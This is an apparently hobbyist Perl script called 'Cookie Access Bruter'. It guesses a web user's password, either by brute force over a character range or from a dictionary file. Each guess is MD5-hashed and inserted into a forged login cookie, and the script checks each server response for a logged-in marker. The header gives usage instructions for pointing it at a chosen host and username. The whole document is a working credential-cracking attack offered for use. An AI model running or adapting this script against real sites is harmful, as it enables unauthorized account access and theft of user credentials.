######################################################################################################
#
# Author: darkjoker
#
# Site: http://xhacker.altervista.org
#
# Program name: Cookie Access Bruter
#
# Usage: perl script.pl <host> <page> <username> <cookie> <refer> <method> <info method>
#
# <host>: Hostname of site
#
# <page>: Login page
#
# <username>: Username to found password
#
# <cookie>: cookie sent from the server after the login. HTTP request-syntax (no space in middle)
#
# <refer>: a text wich appear only if logged in
#
# <method>: bruteforce (use force) or dictionary attack (use diz)
#
# <info method>: in bruteforce chose the letter that will be used (a:z whill try all chars from a to z)
#		 in dictionary attack use the dictionary file name.
#
#######################################################################################################
 
 
 
 
 
 
 
 
#!/usr/bin/perl
use Digest::MD5 qw(md5_hex);
use IO::Socket;
my ($host, $page, $username, $cookie, $refer, $method, $info_method) = @ARGV or die "Usage: perl $0 <host> <page> <username> <cookie> <refer> <method> <info method>\n";
$cookie =~ s/username/$username/;
if ($method =~ /force/){
	@val = split (":", $info_method);
	foreach (@val [0] .. @val [1]){
		my $sock = new IO::Socket::INET (
			PeerHost => $host,
			PeerPort => "80",
			Proto => "tcp"
		) or die "Unable to connect to the server\n";
		$cont = "";
		$pass = $_;
		$pass_md5 = md5_hex ($pass);
		$cookie =~ s/password/$pass_md5/i;
 
		print $sock "GET $page HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n";
		while (<$sock>){
			$cont .= $_;
		}
		if ($cont =~ /$refer/){
			print "Password: " . $pass . "\n";
			exit ();
		}
		$cookie =~ s/$pass_md5/password/i;
		close ($sock);
	}
}
elsif ($method =~ /diz/){
	open (DIZ, $info_method) or die "Unable to open the file\n";
	while ($pass = <DIZ>){
		chomp ($pass);
               my $sock = new IO::Socket::INET (
	       		PeerHost => $host,
			PeerPort => "80",
			Proto => "tcp",
		) or die "Unable to connect to the server\n";
		$cont = "";
		$pass_md5 = md5_hex ($pass);
		$cookie =~ s/password/$pass_md5/i;
		print $sock "GET $page HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n";
		while (<$sock>){
			$cont .= $_;
		}
		if ($cont =~ /$refer/){
			print "Password: " . $pass . "\n";
			exit ();
		}
		$cookie =~ s/$pass_md5/password/i;
 
		close ($sock);
 
	}
 
	close (DIZ);
}
else {
	die "Unknow method\n";
}
print "Password not found\n";